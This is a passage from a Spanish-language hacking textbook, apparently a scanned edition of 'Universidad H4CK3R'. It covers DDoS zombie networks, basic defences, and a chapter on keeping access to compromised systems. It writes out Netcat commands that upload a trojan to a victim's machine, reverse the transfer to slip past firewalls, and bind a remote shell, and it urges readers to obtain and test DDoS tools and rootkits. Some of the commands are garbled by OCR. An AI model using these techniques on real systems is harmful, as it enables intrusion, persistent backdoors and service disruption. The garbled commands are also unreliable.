tiempo, muchas maquinas amplificadoras enviando esos mismos paquetes a la victima.
Para resolver el desfile, se desarroll un cierto tipo de ataque en el que los paquetes
destinados a las vctimas no salen de la mquina del hacker, sino de ordenadores zombis
controlados remotamente por l. En estos equipos, el hacker instalar cierto tipo de caballo
256
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
de Troya o virus que responde a comandos externos y acta como una fuente generadora
del ataque, son los llamados agentes o zombis. El "contagio" se da por los mismos
mtodos que han sido estudiados hasta ahora - invasin, distribucin camuflada e incluso
la cooperacin. El atacante tiene uno o ms programas maestros, que controlan a los
agentes.
Se acuerda cuando dijimos que una invasin de los sistemas menores poda ser
utilizado como trampoln para llegar a la victima principal? Pues bien, esta es una de esas
situaciones. El atacante tarda semanas, y a veces meses, para invadir pequeos sistemas
- ordenadores personales y servidores de pequeas empresas - sin que su inters
inmediato sean estas mquinas. Ellas sern utilizadas como zombis en un ataque contra
las grandes empresas (1234 1234 1234 ...), y para eso es necesario que est instalado en
ellos el software adecuado. El hacker puede, incluso, corregir algunas cosas y hasta
actualizar el sistema del individuo, si eso fuese necesario para que el ataque principal se
lleve a cabo.
257
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
258
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Ahora, un toque ms de maldad: cada agente puede usar "lupas" Fraggle o Smurf para
multiplicar su fuerza. Un ataque con esta configuracin es devastador!
259
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
- Amos y esclavos
Hay un montn de herramientas para todos los ataques DoS y DDoS descritos aqu. La
mayora se pueden encontrar en dos sitios mencionados anteriormente:
packetstormsecurity.nl/dos/ y www.astalavista.box.sk. Otro apartado,
packetstormsecurity.nl/distribucin/, trata de herramientas DDoS y tutoriales.
Busque informacin en los sitios web listados y en su buscador favorito, y descargue las
siguientes herramientas:
- Fapi
- Targa
- Blitznet
- Trin00/WinTrin00
- TFN/TFN2k/TFNWin
- Stacheldraht
- Shaft
- Trank
- Trinity
Como deberes, el estimado lector tendr que leer la documentacin y probarlos todos,
uno por uno, y descubrir en que categoras (a veces ms de una) encaja cada uno de
ellos.
Otra tarea: buscar informacin sobre ataques a routers. Se sorprender de saber que a
veces es ms fcil atacar a los equipos intermedios de Internet que al equipo objetivo
final. Si es muy difcil de apagar el servidor de una empresa enemiga del medio ambiente,
tal vez el router unido a ella sea la parte ms dbil - y rompindolo, deja a la red interna
sin acceso a la Gran Red.
Defensa y contraataque
Bueno, all vamos. Este fue un captulo largo. Tratamos de poner en l los conceptos
bsicos de ataques a ordenadores y redes. Listamos aqu, por tanto, algunos consejos
sobre qu buscar y por dnde empezar para asegurar sus sistemas y evitar que sean
atacados con estas tcnicas.
Recomendaciones aplicables a todo tipo de ataques
Lo ms importante! Deje activados slo los servicios que est utilizando realmente. Si el
servidor es slo HTTP y FTP, deshabilite Finger, Telnet, SSH, SMTP, POP, IMAP, Quake
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Mantn tus sistemas actualizados para evitar ser invadido por vulnerabilidades conocidas
y bien documentadas. Especial atencin a los hotfixes y los Service Pack de Microsoft - lo
que no quiere decir que los sistemas Novell y Unix necesiten menos cuidados.
Por defecto, crea usuarios con los mnimos privilegios posibles y vaya aumentndolos a
medida que sea necesario. Si el usuario no necesita ms el privilegio, no dude en
retirarseIo. Cree polticas rigurosas y cuentas consistentes, incluyendo nombres de
usuario no evidentes, administracin en tiempo real de las cuentas activas, desactivacin
inmediata (o antes, cancelacin) de las cuentas inactivas, contraseas que contengan
letras, nmeros y smbolos y reglas para cambiar las contraseas en menos de 30 das.
Adems, un documento oficial interno, firmado por el empleado, debe regular claramente
que equipos pueden conectarse a la red y establecer sanciones si la red es invadida o
comprometida por el mal uso o descuido del usuario.
- War Dialing y Fuerza bruta
En primer lugar, trate de atacarse a s mismo con las herramientas de fuerza bruta. Si
usted no debera tener mdems ni accesos personales de alta velocidad conectados a su
red, esta es una buena manera de averiguarlo. A la menor seal de mdem de acceso
telefnico, cable mdem o ADSL no autorizado en su sistema, retrelos de inmediato!
Para los sistemas accesibles por Internet o mediante una conexin de terminal, la
recomendacin es no dar acceso a todas las cuentas por defecto. Y cuidado con las
cuentas por defecto del sistema! Necesariamente, los accesos deben hacerse por VPNs
encriptadas. En caso de su empresa o institucin realmente necesitaras mdems y logins
externos va Internet o SSH, la poltica de contraseas y de acceso de la empresa, debe
ser seguida a rajatabla, y las sanciones aplicadas de manera ejemplar.
Desbordamiento de pila
No hay mucho que decir ms all de lo obvio: si usted es un programador, su obligacin
es escribir cdigo inmune a desbordamiento de bfer. Aunque es inherente a los
lenguajes de programacin, es posible implementar rutinas de verificacin que restrinjan
la inyeccin de datos maliciosos.
Si usted es un administrador de sistema o usuario domstico, mantenga su sistema
actualizado con los ltimos "parches" publicados por los fabricantes de software. Y no se
concentre solo en los servidores: las estaciones tambin son vulnerables y puertas de
acceso a su red.
- Robo de contraseas
Para empezar, usa herramientas para descifrar contraseas contra ti mismo. Termina de
hacerlo slo cuando ests satisfecho con el resultado - que debera ser, por si acaso,
cero: ninguna contrasea al descubierto. Realiza esta prueba peridicamente, por lo
menos el doble de la frecuencia con la que las contraseas deben cambiarse. Si la
poltica de la empresa exige a los usuarios cambiar las contraseas cada 30 das, intenta
romper las contraseas de sistema por lo menos cada 15 das.
El mtodo ms eficaz para detener la fuerza bruta es limitando el nmero de inicios de
sesin y bloqueando temporalmente (no definitivo) las cuentas del sistema. Esto crea un
261
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
263
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Ataque, defensa y
contraataque
Mantenimiento
Capitulo - 14
"Now I'm coming through the backdoor
How did I get here?/Do I mind
In an eerie sort of way/I sense you reaching
Will you linger a little longer/While I wonder
Tadpole, "Backdoor"
Ahora vengo por la puerta trasera/Cmo llegue aqu?/Me da igual/De
una forma misteriosa/Te siento conmigo/Vas ha quedarte algo
ms?/Mientras me maravillo Tadpole, Backdoor. 1999.
264
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Acceder a cualquier sistema - ya sea un sitio web, una red, un Macintosh o un servidor
Novell - no es fcil. En todos los captulos preparatorios y, sobre todo en el anterior, vimos
algunos mtodos para preparar el terreno y tener acceso a nuestros objetivos. No todos,
no muchos, ni siquiera los ms importantes: para ilustrar los pasos a seguir, vimos
nicamente algunos ejemplos.
No tomes este libro como una enciclopedia de ataques. En vez de eso, salo como una
cartilla para aprender el ABC, y ve buscando y estudiando los recursos que aparecen en
cada captulo. Las lecturas adicionales son muy importantes. La serie Hacking Exposed
(McClure, Scambray y Kurtz, editorial Makron, 4 edicin en portugus y en Ingls),
compuesta por cuatro libros - Hackers Exposed, HE Windows 2k edicin, HE Linux
edicin y HE web - es una excelente compaera para nuestro pequeo trabajo y enfoca el
tema de manera diferente. Aunque tratamos de mostrar la mecnica del asunto, la serie
HE ofrece un verdadero "diccionario" de ataques. Pero no descuides el Bugtrack (las
listas de errores)!
Una vez dentro de los intestinos de nuestra presa, es el momento de tener cuidado para
mantener el acceso y, posiblemente, bloquear el acceso a otros atacantes potenciales
que, por descuido, podran echar por tierra tus meses de estudio y esfuerzo. Cuidemos,
entonces, el mantenimiento de nuestra estancia en el corazn de la vctima por muchos
aos.
Puerta trasera
Cada casa tiene una puerta trasera (vale, vale, algunos apartamentos ms populares
[aprietamientos?] tienen slo un paso para el acceso al inmueble -. y pasa por la sala de
estar. Que le vamos a hacer ...). Por la puerta trasera traemos la fiesta, los empleados de
la casa tienen acceso al interior para trabajar, los trabajadores traen herramientas y
materiales para renovar el cuarto de bao y sacamos al perro a pasear. Es por tanto,
apropiadamente llamada la puerta de servicio.
Por otro lado, por la puerta principal recibimos a nuestras visitas. Si fuese un inmueble
comercial, por ella tambin recibimos a nuestros clientes. La decoracin, los objetos y el
propio espacio, el entorno y la atencin son diferentes en las dos puertas. Por lo tanto, es
apropiado decir que ambas puertas tienen diferentes funciones, y por lo tanto se prestan a
diversas actividades.
En un sistema informtico, a menudo es necesario tener tambin varias formas de
acceso. El entorno operativo que los usuarios comunes conocen se ha desarrollado para
utilizar el sistema de forma ms fcil y sencilla. Por otro lado, debe haber formas de que
los administradores accedan al sistema tambin y, as, realizar sus tareas, a menudo
simultneamente, sin molestar al usuario.
Hay varias formas de hacer esto. En los sistemas Unix, el administrador simplemente
puede iniciar sesin como usuario root de forma remota (a travs de SSH v2, nunca va
Telnet!) y hacer lo que haga falta. En los sistemas Windows y Macintosh, esta es la
funcin por defecto, se pueden instalar programas que permiten el mismo control. Entre
ellos podemos mencionar CarbonCopy, LapLink, ControlIT, o el SMS de Microsoft y
quizs el ms conocido de todos: pcAnywhere de Symantec. Con estos programas, los
265
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
el hacker en el sistema, para la posterior invasin (por la puerta principal, jejeje ...). Cada
sistema tiene su idiosincrasia y su conjunto de programas, que se pueden utilizar para
hacer una puerta trasera. Adems de no tener que instalar nada, los programas existentes
en el equipo rara vez levantan sospechas.
Pero hay una pequea utilidad, presente en todos los Unix y disponible para la familia
WinNT, que es especialmente interesante para crear backdoors improvisados. Llamado
Netcat (www.atstake.com/research/tools/network.utilities), permite muchos trucos en
redes privadas e Internet - y tambin se puede utilizar como una puerta trasera!
A pesar de tener versiones para Windows, el nombre Netcat proviene de su primo cat, el
comando Unix para mostrar el contenido de un archivo en el terminal.
Observe:
$ cat Buttix
Hey Beavis, I'm a Unix string!!!
$
El comando cat arroj el contenido del archivo Buttix en pantalla del terminal. Del
mismo modo, el comando "nc" puede reproducir, de un lado a otro de la conexin (es
decir, no necesariamente en la pantalla), lo que un determinado puerto en un equipo
remoto est escupiendo en la red.
La sintaxis ms simple sintaxis es "nc ip-del-computador-monitoreado + puerto".
Por ejemplo, el comando
C:\> NC 192.168.1.11 80
cuando se emite en un equipo Windows, se conecta y monitorea todo lo que sale por la
puerta 80 de la mquina cuya direccin IP es 192.168.1.11. Obviamente, la puerta 80
debe estar abierta, de lo contrario el Netcat es abortado. La sintaxis es similar en una
mquina Unix. De hecho, acta como un cliente bidireccional -, recibe y enva datos. En
este mismo ejemplo, al emitir el comando, no pasa nada - el otro lado est a la espera de
una orden. Sabemos que se trata de un servidor Web, as que basta enviar el comando
GET (s, debe ser todo en maysculas). Despus del comando, se mostrar en la pantalla
el cdigo fuente HTML de la pgina principal del servidor HTTP. Se puede utilizar Netcat
para conectarse a volmenes SMB (puerto 139), FTP, Telnet, SMTP ... Slo tienes que
saber el protocolo y emitir los comandos correctos. Para conectarse a los puertos UDP,
utilice la opcin -u.
Netcat funciona de dos formas. El modo cliente es lo que hemos visto - enva cualquier
cosa que pongas en su entrada para el IP/puerto especificado. Si hay respuestas, las
muestra en la pantalla. Por entrada, entendemos tanto la entrada estndar (teclado) como
cualquier otro programa que estuviera acoplado a la entrada (podemos usar las tuberas funciona en Windows y Unix).
Hay otro modo, llamado modo de servidor. Este es el que nos interesa. El modo servidor,
en lugar de enviar comandos, espera para recibirlos y devolver el resultado pedido a la
salida estndar. Vea el siguiente comando:
C:\> NC -1 -p 80
267
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
En este caso, Netcat est actuando como un servidor. La opcin -1 indica eso. La opcin
-p indica el puerto que se utilizar. Haga una cosa: en nuestra red de prueba, ponga el
comando anterior para ejecutarlo en la mquina Windows. En la mquina Unix, utilice el
comando anterior (nc 192.168.1.1 80). Pruebe a escribir en mquina Unix y vea lo que
ocurre en Windows: los caracteres de su entrada estndar (en este caso, el teclado) se
transfieren a la salida estndar (pantalla) del otro equipo. Bien, no? Sin embargo, vamos
a salpimentar un poco las cosas.
Imagina que quieres transferir un archivo desde tu ordenador a la mquina invadida (un
B02K, por ejemplo). Nada ms simple. El nombre del archivo es server.exe y la direccin
IP del equipo de destino es 192.168.1.1. En el ordenador de la vctima, utilice el comando,
nc -1 -p 9999 > server.exe
En el del hacker,
nc 192.168.1.1 9999 < server.exe
Observa los redireccionamientos. En el ordenador de la vctima, el carcter ">" indica el
redireccionamiento a el archivo server.exe. Todos los datos recibidos sern copiados all.
En el ordenador del atacante, el carcter "<" indica que todos los bytes del archivo
server.exe sern enviados a la entrada de Netcat. Cuando el ltimo bit se transmita, la
conexin se cae automticamente. Incluso sin tener acceso a FTP o a un recurso
compartido de Windows, es posible enviar un archivo al sistema de la vctima. De hecho,
incluso con acceso ilimitado a un shell del sistema, el atacante no tiene acceso fsico a
disquetes o CD (el sistema invadido puede estar al otro lado del mundo). Si no hubiese un
modo de enviar archivos a travs de una red como FTP, los comandos r en Unix y los
recursos compartidos de Windows, el atacante debera tener un pequeo programa en la
manga para poder transferirlos. La opcin ms directa es el querido Netcat.
Invirtiendo los redireccionamientos, es posible dejar la mquina del atacante como un
servidor dispuesto a "empujar" el archivo, y conectarse a l con la mquina de la vctima,
que har la descarga. La ventaja? Bueno, la mayora de las configuraciones de firewall
detendran un archivo transfirindose si el origen de la conexin viene de fuera (es decir,
de la mquina del hacker). Invirtiendo los papeles, es la mquina de la vctima la que
solicita el archivo - y el firewall alegremente dejara que pase.
En la maquina del hacker: nc -1 -p 9999 > server.exe
En la maquina de la victima: nc 192.168.1.1 9999 < server.exe
La mquina est esperando conexiones del hacker. Cuando ocurre una, ella enva el
archivo especificado. La conexin fue hecha desde la mquina de la vctima. Ella origin
la conexin y comienza a recibir datos, que se graban en server.exe.
Pero adems de instalar backdoors, virus y troyanos en el sistema invadido, Netcat puede
ser, l mismo, un backdoor! La opcin -e redirecciona todo lo que se recibe hacia un
comando externo! Es fcil ver que, redireccionando para cmd.exe en Windows o bien
/bin/sh en Unix, Netcat nos puede dar un shell, que tendr los privilegios del usuario, en
que nc fue ejecutado. El comando completo en la mquina de la vctima sera:
268
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
nc -1 -p 9999 -e /bin/sh
O, para sistemas Windows:
nc -1 -p 9999 -e cmd.com
Observe que la opcin -e puede venir desactivada por defecto. Puede que tenga que
compilar el cdigo de nuevo con la opcin GAPING_SECURITY_HOLE (el nombre lo dice
todo ...) o descargar un ejecutable ya preparado para ello netcat.sourceforge.net.
Hay varios otros usos para Netcat, por ejemplo, el redireccionamiento de conexiones. Es
til para perforar los firewalls o para crear una cadena (cadena o modo tnel) entre varias
computadoras en Internet para hacer spoofing (suplantacin de identidad). Al igual que en
el encadenamiento de proxies pblicos, se puede utilizar Netcat para construir una red de
proxies privados; 15 o 20 en linea y con rutas alternativas son dispositivos comunes de
hackers con experiencia!
Otro uso muy interesante de Netcat es como escaner de puertos improvisado. Estos y
otros muchos usos se pueden encontrar en el excelente libro blanco de Tom Armstrong
llamado "Netcat - La navaja suiza de TCP/IP" (www.giac.org/practical/gsec/Tom
Armstrong GSEC.pdf en Ingls). Una alternativa a Netcat es CryptCat (www.farm9.com
/content/FreeTools/CryptCat). Es un clon perfecto de Netcat con la misma funcionalidad y
sintaxis. Pero tiene una diferencia interesante: todas las comunicaciones estn
encriptadas. Incluso si la conexin es descubierta, nunca se sabe lo que pasa en ella.
Netcat es, seguramente, la herramienta nativa de Unix (y muy instalada en Windows
tambin) ms utilizada como apoyo para atacar a sistemas ajenos. Por ser pequeo, se
instala fcilmente en los sistemas que no lo tienen. Pero Netcat no es el nico modo de
improvisar puertas traseras. Est al tanto de cualquier programa que pueda dar acceso a
los sistemas de archivos. El intrprete Perl es uno de ellos, con unas pocas lneas de
cdigo es posible montar un servidor, como el Netcat en modo -l y enviar archivos a
travs de l, por ejemplo.
Virus y troyanos
A pesar de que son dos temas ya tratados en el transcurso del libro, consideramos
beneficioso recordar conceptos importantes.
- Una vez ms, los virus
No hay mucho ms que decir sobre epidemias virales que no sea ya de conocimiento
publico. Los virus son programas que se comportan igual que sus homnimos biolgicos:
son microscpicos, se reproducen solos, consumen recursos informticos que no les
pertenecen y tienen una gran capacidad de propagar la infeccin.
Aunque los programas anti-virus clasifican, como virus, programas como troyanos,
puertas traseras y los virus legtimos, las tres categoras de programas son muy
diferentes, y se podra decir incluso complementarias. Los virus no necesitan de los
troyanos como medio de transporte y vector de contaminacin. Mucho menos necesitan
abrir puertas traseras para entrar y salir de los sistemas infectados. Pero no obstante,
tambin pueden servirse de ellos, si la oportunidad aparece.
269
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Un virus informtico tiene objetivos muy claros: infectar el mximo numero de sistemas
posible, reproducirse rpidamente, opcionalmente consumir recursos y daar los sistemas
invadidos.
Cmo son autosuficientes, esta ms all del alcance de este libro analizarlos en
profundidad. Sugerimos al lector consultar las pginas web de los principales fabricantes
de antivirus para obtener informacin actualizada.
Y recuerda: un virus puede ser el compaero de un ataque DoS
Como deberes, investiga sobre los grandes nombres del mundo viral: Ping-Pong, Mozart,
Miguel ngel, Madonna, Chernobyl, Melissa, LoveLetter, Nimda, Klez y Bugbear. En el
apartado terico, estudia sobre programacin orientada a objetos (los virus se basan
mucho en ella), herencia, polimorfismo, funciones reproductivas y mtodos de contagio.
- Virus indetectables
Tomemos los virus ms conocidos. El Bugbear, por ejemplo. La prensa lo describe como
"la peor amenaza viral de todos los tiempos" (como lo hizo con el Klez ...) y, sin embargo,
es un virus comn, que usa las mismas viejas tcnicas de propagacin, infeccin,
destruccin y rplica de otros ms antiguos como el virus Melissa, que puede ser
fcilmente detectado por un antivirus actualizado.
Virus ms recientes pueden camuflar sus comunicaciones con el mundo exterior a travs
de llamadas al sistema y comunicacin entre procesos (releer los captulos sobre los
sistemas operativos). Pueden, por ejemplo, "pedir prestado" los sockets de tu navegador
por defecto para enmascarar la comunicacin. O utilizar su cliente de email por defecto
(por ejemplo, Outlook Express - Campen de la audiencia) para propagarse. En
cualquiera de los casos el proceso del virus aparecer durante la comunicacin, y el
comando netstat revelar una sola conexin a Internet desde su propio navegador.
Ahora responda: qu firewall detendr comunicaciones HTTP o SMTP originadas en el
interior de su red?
El lector podra protestar, "pero mi antivirus est actualizadssimo, como se colaran virus
nuevos?" La respuesta es simple: ese programa slo detecta virus conocidos. Un simple
editor hexadecimal puede cambiar detalles del virus y volverlo, una vez ms, indetectable
por un tiempo. Hasta que las compaas que hacen dinero con este tipo de pnico corran
para actualizar sus bases de datos y, hasta que las personas actualicen sus antivirus, el
dao est hecho. En una estimacin muy aproximada, los autores consideran que ms
del 90% de los virus que estn rodando por el mundo, en general, no son detectados por
los programas antivirus en el mercado.
Por ejemplo, una forma antigua de confundir a un antivirus era comprimir el archivo
ejecutable del mismo y aadir un stub (pequeo programa en el principio del archivo
comprimido) que lo descomprima en el momento de su ejecucin. Fue una manera
inteligente de, durante mucho tiempo, hacer que los virus pasasen sanos y salvos por el
corredor polaco impuesto por las rutinas del antivirus.
Ya hay tcnicas modernas de ofuscacin, que ponen varias capas de retos, comprimidos
y codificados, con varios stubs diferentes y claves de cifrado distribuidas por el archivo.
Cada vez que se ejecuta, el virus se replica y se autocriptografia de nuevo con otras
270
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
pueden ser "alterados". Cuidado adems con utilidades de uso frecuente, tales como
calculadora (CALC.EXE), el Bloc de notas (NOTEPAD.EXE), WordPad (WRITE.EXE) y el
Editor del Registro (REGEDIT.EXE). Todos estos programas estn presentes en cualquier
versin de Windows, incluso en los servidores, y pueden ser manipulados para que
funcionen como rootkits. Especial atencin debe darse a los archivos DLL, compartidos
por muchas aplicaciones, especialmente MFC.DLL.
La lista es mucho ms amplia que la que se muestra. No cabria aqu enumerar todos los
tipos y todos los programas que pueden ser cambiados por los rootkits. Como sugerencia,
busque en Unix: lkr5, utrojan, backboored sendmail t0rnkit, rkssh, APSR, bdoor, w00w00,
I0gin.kit, BD2, vexed, falcon-ssh, Trojanit, rootkitSunOS, sol y Raditz (muy daino:
reemplaza a el Tripwire !), entre otros.
Este tipo de rootkits (programas de sustitucin y utilidades de sistema) es ms comn en
Unix que en Windows, aunque tambin existen numerosas herramientas para Windows .
Para comenzar, busque ads_cat, FakeGINA, fu.ZIP, Xshadow, Hacker Defender, Hacker's
Rootkit para NT, Slanret, KREI, IERK (ierk8243.sys), Backdoor-ALI, Caesar's RegWrite
Injector, null.sys, HE4Root (o HE4Hook ) e inyeccin de IIS.
Para aprender ms sobre estos rootkits y nuevas tcnicas sobre el tema, busque
informacin en www.packetstormsecurity.nl en www.securityfocus.com en
www.windowsecurity.com, el sitio oficial de Microsoft (www.microsoft.com) y
principalmente en Google;-).
- No hay cuchara
Los rootkits no son tan fciles de identificar como los troyanos y las puertas traseras
comunes. Un Back Orifice escuchando, o Netcat en un puerto pueden ser descubiertos
fcilmente con un simple comando netstat. Pero si el netstat estuviese rootkitted, la
cosa cambia - la informacin sobre los puertos abiertos por la puerta trasera estara
ocultada. Lo mismo ocurre con los procesos de: un EXPLORER.EXE modificado, sigue
apareciendo como el Explorador de Windows en el Administrador de tareas.
No obstante, a pesar de ms complejos, los rootkits comunes que alteran la funcionalidad
de los programas ordinarios del sistema operativo pueden ser detectados por
caractersticas no obvias, pero, an as, evidentes. El programa alterado puede tener su
fecha de creacin diferente de las dems. Incluso si es igual, el tamao puede ser
diferente del original, encontrado en otras mquinas. Si el tamao es igual, seguramente
su estructura interna no lo es, y se puede comparar byte a byte con el de un sistema de
sano.
Otra alternativa es comprobar el checksum de los archivos que componen el programa.
Los sistemas Unix normalmente hacen uso de una firma MD5 para garantizar la idoneidad
de los archivos. En los sistemas Windows, Microsoft adopta un procedimiento similar,
basado en la esteganografa aplicada al logo de Windows. En cualquier caso, si la firma
no coincide con el original, el programa seguramente est adulterado y deber ser
apagado o sustituido.
Los administradores realmente paranoicos (y no se equivocan, ni mucho menos!) instalan
controladores de inventario con verificadores de integridad de archivo (como, Tripwire o
273
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
AIDE) en todos los equipos (incluyendo las estaciones de trabajo). Cualquier archivo que
sea modificado por un rootkit ser detectado en la prxima verificacin y un mensaje de
advertencia rojo aparecer en la pantalla del administrador.
Para evitar esta situacin, los hackers han creado una forma de los rootkits con un nivel
superior de camuflaje. Esta vez, los archivos del sistema y los programas estn intactos:
el kernel del sistema operativo propiamente dicho es reemplazado por otro adulterado
por completo. Una dualidad similar a la de Superman y su alter ego el Malvado (ah, los
buenos ratos que pasaba a las maanas viendo los Superfriends ...).
Ya hemos hablado del kernel en varios captulos. Todo el procesamiento del sistema
obligatoriamente pasa por l y, por lo tanto, controlarlo como en una posesin demonaca
es extremadamente potente y destructivo. Entre las maldades que podemos practicar a
partir de nuestra posesin estn:
- Camuflaje de archivos del invasor, al igual que en los rootkits comunes. La diferencia es
que, por ser kernel, este artificio es prcticamente imposible de anular o incluso ser
descubierto.
- Camuflaje de conexiones de red. Al igual que hicimos en Unix y Windows, con una
versin modificada del comando netstat, un ncleo rootkitted puede tambin ocultar
conexiones especficas. Slo Sniffers que se ejecutan en otras mquinas son capaces de
detectar este tipo de conexiones.
- Camuflaje de procesos. El kernel maneja los procesos. El propio kernel, entonces, es
quien da la lista de ellos a los programas que los listan ("ps" en Unix, Windows Task
Manager). Esto hace fcil ocultar de estos programas (y, por tanto, los usuarios) los
procesos dainos que se estn ejecutando.
- Redireccionamiento. Imagine el siguiente escenario: un atacante "plant" programas de
malware en el directorio C:\WINDOWS\System32\ en Windows NT 4. El rootkit del kernel
intenta esconder esos programas mostrando normalmente todos los dems archivos de la
misma carpeta. Uno de estos archivos es una copia modificada del Explorador de
Windows (EXPLORER.EXE). Cada vez que Windows le pide que ejecute una nueva
instancia de Explorer, en lugar de abrir el programa original, el kernel redirige la ejecucin
hacia el Explorer modificado. Cualquier herramienta de auditora ira ha comprobar la
integridad del original EXPLORER.EXE (almacenado en la carpeta C:\WINDOWS) y lo
encontrara intacto.
Utilizando estos cuatro jugueteos, el programador que desarroll el rootkit puede crear
dos realidades para el administrador de usuarios. Una, agradable y sin problemas, es
totalmente falsa. La otra, llena de agujeros de seguridad, puertas traseras y manipulacin
indebida de documentos y archivos, es la real. El administrador decide si desea continuar
viviendo feliz en su cpula virtual o se toma la pldora roja.
Alterar un kernel por medio de rootkits es fcil y puede hacerse de dos maneras. La
primera es a travs de parches, y es la preferida por los hackers que desarrollan para
Windows. Funcionando de la misma manera que los hotfixes y Service Packs de
Microsoft, un parche, para insertar un rootkit sobrescribe archivos enteros o parte de ellos,
inyectando nuevas rutinas y desvos y hacindolos responder de forma distinta de lo
previsto inicialmente. Como el kernel de Windows se compone de docenas de archivos
274
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
DLL accesibles por los usuarios, la tarea, aunque laboriosa, es simple y, a veces ni
siquiera tiene que ser realizada por un usuario con muchos privilegios en el sistema.
Como cualquier instalacin en un sistema Windows, despus de aplicar el parche el
sistema debe reiniciarse - pero esto puede ser hecho por el propio atacante y en ms del
90% de los casos esta anomala ser considerado por el administrador de la mquina
como "simplemente otra cagada de Windows ".
La otra forma, ms apreciada por los amantes de Unix, funciona a travs de los mdulos
del kernel cargables (Loadable Kernel Modules o LKM). Si el lector no se salt los
importantes captulos sobre sistemas operativos, debe recordar que, a diferencia del
microkernel de Windows, los Unix en general son monolticos. Un nico, gigantesco y en
ocasiones encriptado archivo que engloba el ncleo central y la mayora de los
controladores de dispositivos del sistema.
A medida que los sistemas Unix iban evolucionando, se percibi que la poltica de los
ncleos monolticos deba ser "flexibilizada", de lo contrario tendramos sistemas cuyo
ncleo residira en un archivo de decenas o incluso cientos de megabytes que contiene
miles de drivers para hardware que nunca vamos a adquirir . Por lo tanto, los kernels
pasaron a ser modulares: un ncleo base (lejos de ser un microkernel) que se carga
primero, y los dems drivers se cargarn slo si el hardware los solicitase. Estos drivers (y
algunos programas y utilidades que se ejecutan en modo del kernel) residen en LKMs. Es
fcil ver que se puede cambiar el comportamiento del kernel con mdulos cargados
mucho despus del arranque. Un LKM, incluso puede ser cargado bajo pedido,
automticamente o a partir de un comando emitido remotamente por el atacante a travs
de una comn puerta trasera.
Investigue sobre los rootkits LKM de su sistema operativo y, preferiblemente testee todos
los que encuentre (en nuestra red de prueba y no en un entorno de produccin !!!).
Listamos algunos de los ms famosos (o informacin para entender LKMs en las diversas
plataformas), pero deliberadamente no pusimos los ltimos para que te acostumbres a
buscarlos.
Para Windows (9x y NT): www.rootkit.com (lectura obligatoria).
Para Linux: Adore, Carogna (prOyecto Car0nte) knark, Fidias, heroine.c, spooflkm,
suidshow.c, kinsmod, Rial, el THC Backdoor (lkm) kernel.keylogger, SucKIT, lkminject;
Para Solaris: plasmoide, slkm, ksolaris, Backdoor THC (lkm);
Para FreeBSD: AdoreBSD, ipfhack, LBK, Backdoor THC (lkm);
Para OpenBSD: AdoreBSD, obsd_ipfhack, Backdoor THC (lkm);
Para Windows 9x (mire!): Burning Chome.
Como ltimo consejo, lea estas notas:
- www.w00w00.org/files/articles/lkmhack.txt;
- www.packetstormsecurity.nl/docs/hack/LKM.HACKING.html;
- www.packetstormsecurity.nl/Win/vxd.txt.
275
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Para el camino inverso, el backdoor usa los programas existentes en el equipo y que ya
hacen, por su propia naturaleza, conexiones por socket. Un navegador es el mejor
ejemplo. El usuario abre su Internet Explorer y teclea www.pornoshow.com.ru. El
backdoor detecta la conexin e inyecta, en medio del tren de datos, uno o dos bytes por
paquete en reas en las que no causar problemas (el relleno, por ejemplo, o el fragment
offset cuando no se utiliza). Dependiendo del protocolo usado como mula de carga, es
posible incluso, poner ms datos en el propio payload IP. La direccin IP de destino no se
modifica, y el atacante debe estar situado en la linea de conexin para rastrear los
paquetes y extraer de ellos los datos de la comunicacin.
- Actualizar el camuflaje
Un sniffer en modo promiscuo, es ruidoso en una red y puede ser fcilmente detectado
usando herramientas especiales. Pero nada impide que un sniffer se ejecute en modo
exclusivo, slo olfateando el trfico de entrada y salida. En este caso, el hacker no enva
paquetes a la red con IPs inexistentes, pero si los enva dirigidos concretamente a la
maquina donde esta el backdoor. Pero con un detalle: dirigidos a puertos que no estn
siendo usados.
277
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
